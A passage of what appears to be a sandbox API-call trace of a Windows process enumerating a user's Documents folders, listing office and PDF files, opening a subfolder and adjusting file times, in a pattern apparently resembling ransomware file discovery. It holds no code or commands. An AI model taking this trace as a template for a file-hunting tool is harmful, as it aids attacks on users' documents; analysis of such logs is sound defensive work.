lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa71a09d0, ftCreationTime.dwHighDateTime=0x1d5be6a, ftLastAccessTime.dwLowDateTime=0x4b3ade40, ftLastAccessTime.dwHighDateTime=0x1d5b691, ftLastWriteTime.dwLowDateTime=0x4b3ade40, ftLastWriteTime.dwHighDateTime=0x1d5b691, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.654] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d8e9e0, ftCreationTime.dwHighDateTime=0x1d5b86b, ftLastAccessTime.dwLowDateTime=0xa2455b00, ftLastAccessTime.dwHighDateTime=0x1d5c101, ftLastWriteTime.dwLowDateTime=0xa2455b00, ftLastWriteTime.dwHighDateTime=0x1d5c101, nFileSizeHigh=0x0, nFileSizeLow=0x58cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="5DWLA.ppt", cAlternateFileName="")) returned 1 [0090.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5498 [0090.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1e50 [0090.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.656] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x681c7a30, ftCreationTime.dwHighDateTime=0x1d5bf85, ftLastAccessTime.dwLowDateTime=0x70fcd6b0, ftLastAccessTime.dwHighDateTime=0x1d5bd71, ftLastWriteTime.dwLowDateTime=0x70fcd6b0, ftLastWriteTime.dwHighDateTime=0x1d5bd71, nFileSizeHigh=0x0, nFileSizeLow=0xfb37, dwReserved0=0x0, dwReserved1=0x0, cFileName="dxtR.docx", cAlternateFileName="")) returned 1 [0090.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f54b8 [0090.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ed8 [0090.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9700) returned 0x135c9e8 [0090.658] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfac2bdd0, ftCreationTime.dwHighDateTime=0x1d5c580, ftLastAccessTime.dwLowDateTime=0xbf63d430, ftLastAccessTime.dwHighDateTime=0x1d5c3e7, ftLastWriteTime.dwLowDateTime=0xbf63d430, ftLastWriteTime.dwHighDateTime=0x1d5c3e7, nFileSizeHigh=0x0, nFileSizeLow=0xd29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IK7X.ods", cAlternateFileName="")) returned 1 [0090.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f54d8 [0090.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1dc8 [0090.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.659] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20e99490, ftCreationTime.dwHighDateTime=0x1d5b8c3, ftLastAccessTime.dwLowDateTime=0xe623c60, ftLastAccessTime.dwHighDateTime=0x1d5b7aa, ftLastWriteTime.dwLowDateTime=0xe623c60, ftLastWriteTime.dwHighDateTime=0x1d5b7aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jTx 77oK_6Q2gn", cAlternateFileName="")) returned 1 [0090.659] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4b11c0, ftCreationTime.dwHighDateTime=0x1d5c42d, ftLastAccessTime.dwLowDateTime=0xc67ec850, ftLastAccessTime.dwHighDateTime=0x1d5c3a7, ftLastWriteTime.dwLowDateTime=0xc67ec850, ftLastWriteTime.dwHighDateTime=0x1d5c3a7, nFileSizeHigh=0x0, nFileSizeLow=0x16947, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q1N5TvJZgM8qiL9LcZb.xls", cAlternateFileName="")) returned 1 [0090.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134d938 [0090.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1ba8) returned 1 [0090.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f54f8 [0090.661] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134dc50 [0090.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.661] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84211660, ftCreationTime.dwHighDateTime=0x1d5b890, ftLastAccessTime.dwLowDateTime=0x7649b7b0, ftLastAccessTime.dwHighDateTime=0x1d5b735, ftLastWriteTime.dwLowDateTime=0x7649b7b0, ftLastWriteTime.dwHighDateTime=0x1d5b735, nFileSizeHigh=0x0, nFileSizeLow=0xa541, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9IWYvQH0HHJl8dOGH.ppt", cAlternateFileName="")) returned 1 [0090.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.662] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.662] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5518 [0090.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134dd58 [0090.663] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.663] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14e9b950, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0xbab93590, ftLastAccessTime.dwHighDateTime=0x1d5c560, ftLastWriteTime.dwLowDateTime=0xbab93590, ftLastWriteTime.dwHighDateTime=0x1d5c560, nFileSizeHigh=0x0, nFileSizeLow=0x10a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJzn-K.odt", cAlternateFileName="")) returned 1 [0090.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5538 [0090.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1ba8 [0090.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.665] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14e9b950, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0xbab93590, ftLastAccessTime.dwHighDateTime=0x1d5c560, ftLastWriteTime.dwLowDateTime=0xbab93590, ftLastWriteTime.dwHighDateTime=0x1d5c560, nFileSizeHigh=0x0, nFileSizeLow=0x10a42, dwReserved0=0x0, dwReserved1=0x0, cFileName="zJzn-K.odt", cAlternateFileName="")) returned 0 [0090.665] GetLastError () returned 0x12 [0090.665] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.665] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.665] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa71a09d0, ftCreationTime.dwHighDateTime=0x1d5be6a, ftLastAccessTime.dwLowDateTime=0x4b3ade40, ftLastAccessTime.dwHighDateTime=0x1d5b691, ftLastWriteTime.dwLowDateTime=0x4b3ade40, ftLastWriteTime.dwHighDateTime=0x1d5b691, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.665] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d8e9e0, ftCreationTime.dwHighDateTime=0x1d5b86b, ftLastAccessTime.dwLowDateTime=0xa2455b00, ftLastAccessTime.dwHighDateTime=0x1d5c101, ftLastWriteTime.dwLowDateTime=0xa2455b00, ftLastWriteTime.dwHighDateTime=0x1d5c101, nFileSizeHigh=0x0, nFileSizeLow=0x58cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="5DWLA.ppt", cAlternateFileName="")) returned 1 [0090.665] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x681c7a30, ftCreationTime.dwHighDateTime=0x1d5bf85, ftLastAccessTime.dwLowDateTime=0x70fcd6b0, ftLastAccessTime.dwHighDateTime=0x1d5bd71, ftLastWriteTime.dwLowDateTime=0x70fcd6b0, ftLastWriteTime.dwHighDateTime=0x1d5bd71, nFileSizeHigh=0x0, nFileSizeLow=0xfb37, dwReserved0=0x0, dwReserved1=0x0, cFileName="dxtR.docx", cAlternateFileName="")) returned 1 [0090.665] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfac2bdd0, ftCreationTime.dwHighDateTime=0x1d5c580, ftLastAccessTime.dwLowDateTime=0xbf63d430, ftLastAccessTime.dwHighDateTime=0x1d5c3e7, ftLastWriteTime.dwLowDateTime=0xbf63d430, ftLastWriteTime.dwHighDateTime=0x1d5c3e7, nFileSizeHigh=0x0, nFileSizeLow=0xd29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IK7X.ods", cAlternateFileName="")) returned 1 [0090.665] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20e99490, ftCreationTime.dwHighDateTime=0x1d5b8c3, ftLastAccessTime.dwLowDateTime=0xe623c60, ftLastAccessTime.dwHighDateTime=0x1d5b7aa, ftLastWriteTime.dwLowDateTime=0xe623c60, ftLastWriteTime.dwHighDateTime=0x1d5b7aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jTx 77oK_6Q2gn", cAlternateFileName="")) returned 1 [0090.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20e99490, ftCreationTime.dwHighDateTime=0x1d5b8c3, ftLastAccessTime.dwLowDateTime=0xe623c60, ftLastAccessTime.dwHighDateTime=0x1d5b7aa, ftLastWriteTime.dwLowDateTime=0xe623c60, ftLastWriteTime.dwHighDateTime=0x1d5b7aa, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.666] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.666] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.667] NtClose (Handle=0x168) returned 0x0 [0090.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1b20) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1b20 [0090.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1fe8 [0090.668] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.668] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20e99490, ftCreationTime.dwHighDateTime=0x1d5b8c3, ftLastAccessTime.dwLowDateTime=0xe623c60, ftLastAccessTime.dwHighDateTime=0x1d5b7aa, ftLastWriteTime.dwLowDateTime=0xe623c60, ftLastWriteTime.dwHighDateTime=0x1d5b7aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.668] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c63a770, ftCreationTime.dwHighDateTime=0x1d5c557, ftLastAccessTime.dwLowDateTime=0x252580a0, ftLastAccessTime.dwHighDateTime=0x1d5c002, ftLastWriteTime.dwLowDateTime=0x252580a0, ftLastWriteTime.dwHighDateTime=0x1d5c002, nFileSizeHigh=0x0, nFileSizeLow=0x107dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="34K77oDF.ots", cAlternateFileName="")) returned 1 [0090.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134de60 [0090.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5558 [0090.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134df68 [0090.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.670] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x504d830, ftCreationTime.dwHighDateTime=0x1d5b6bf, ftLastAccessTime.dwLowDateTime=0x91f88500, ftLastAccessTime.dwHighDateTime=0x1d5bee1, ftLastWriteTime.dwLowDateTime=0x91f88500, ftLastWriteTime.dwHighDateTime=0x1d5bee1, nFileSizeHigh=0x0, nFileSizeLow=0xd065, dwReserved0=0x0, dwReserved1=0x0, cFileName="A4rHBddoPifg.pdf", cAlternateFileName="")) returned 1 [0090.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5578 [0090.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e070 [0090.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.672] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e12de0, ftCreationTime.dwHighDateTime=0x1d5c27d, ftLastAccessTime.dwLowDateTime=0x15669f70, ftLastAccessTime.dwHighDateTime=0x1d5c398, ftLastWriteTime.dwLowDateTime=0x15669f70, ftLastWriteTime.dwHighDateTime=0x1d5c398, nFileSizeHigh=0x0, nFileSizeLow=0x15475, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bp4UylgNF 4HafWG_5.xlsx", cAlternateFileName="")) returned 1 [0090.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5598 [0090.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e178 [0090.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a7a1ce0, ftCreationTime.dwHighDateTime=0x1d5b831, ftLastAccessTime.dwLowDateTime=0x5d537150, ftLastAccessTime.dwHighDateTime=0x1d5bbd7, ftLastWriteTime.dwLowDateTime=0x5d537150, ftLastWriteTime.dwHighDateTime=0x1d5bbd7, nFileSizeHigh=0x0, nFileSizeLow=0x13063, dwReserved0=0x0, dwReserved1=0x0, cFileName="r 9xVkOBnLc 2BrISF.docx", cAlternateFileName="")) returned 1 [0090.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f55b8 [0090.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134e280 [0090.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec56a0, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0x61e34f90, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x61e34f90, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tXSKss27JHD6_ml0uf", cAlternateFileName="")) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec56a0, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0x61e34f90, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x61e34f90, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tXSKss27JHD6_ml0uf", cAlternateFileName="")) returned 0 [0090.676] GetLastError () returned 0x12 [0090.676] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0090.676] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20e99490, ftCreationTime.dwHighDateTime=0x1d5b8c3, ftLastAccessTime.dwLowDateTime=0xe623c60, ftLastAccessTime.dwHighDateTime=0x1d5b7aa, ftLastWriteTime.dwLowDateTime=0xe623c60, ftLastWriteTime.dwHighDateTime=0x1d5b7aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c63a770, ftCreationTime.dwHighDateTime=0x1d5c557, ftLastAccessTime.dwLowDateTime=0x252580a0, ftLastAccessTime.dwHighDateTime=0x1d5c002, ftLastWriteTime.dwLowDateTime=0x252580a0, ftLastWriteTime.dwHighDateTime=0x1d5c002, nFileSizeHigh=0x0, nFileSizeLow=0x107dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="34K77oDF.ots", cAlternateFileName="")) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x504d830, ftCreationTime.dwHighDateTime=0x1d5b6bf, ftLastAccessTime.dwLowDateTime=0x91f88500, ftLastAccessTime.dwHighDateTime=0x1d5bee1, ftLastWriteTime.dwLowDateTime=0x91f88500, ftLastWriteTime.dwHighDateTime=0x1d5bee1, nFileSizeHigh=0x0, nFileSizeLow=0xd065, dwReserved0=0x0, dwReserved1=0x0, cFileName="A4rHBddoPifg.pdf", cAlternateFileName="")) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e12de0, ftCreationTime.dwHighDateTime=0x1d5c27d, ftLastAccessTime.dwLowDateTime=0x15669f70, ftLastAccessTime.dwHighDateTime=0x1d5c398, ftLastWriteTime.dwLowDateTime=0x15669f70, ftLastWriteTime.dwHighDateTime=0x1d5c398, nFileSizeHigh=0x0, nFileSizeLow=0x15475, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bp4UylgNF 4HafWG_5.xlsx", cAlternateFileName="")) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a7a1ce0, ftCreationTime.dwHighDateTime=0x1d5b831, ftLastAccessTime.dwLowDateTime=0x5d537150, ftLastAccessTime.dwHighDateTime=0x1d5bbd7, ftLastWriteTime.dwLowDateTime=0x5d537150, ftLastWriteTime.dwHighDateTime=0x1d5bbd7, nFileSizeHigh=0x0, nFileSizeLow=0x13063, dwReserved0=0x0, dwReserved1=0x0, cFileName="r 9xVkOBnLc 2BrISF.docx", cAlternateFileName="")) returned 1 [0090.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecec56a0, ftCreationTime.dwHighDateTime=0x1d5b5d9, ftLastAccessTime.dwLowDateTime=0x61e34f90, 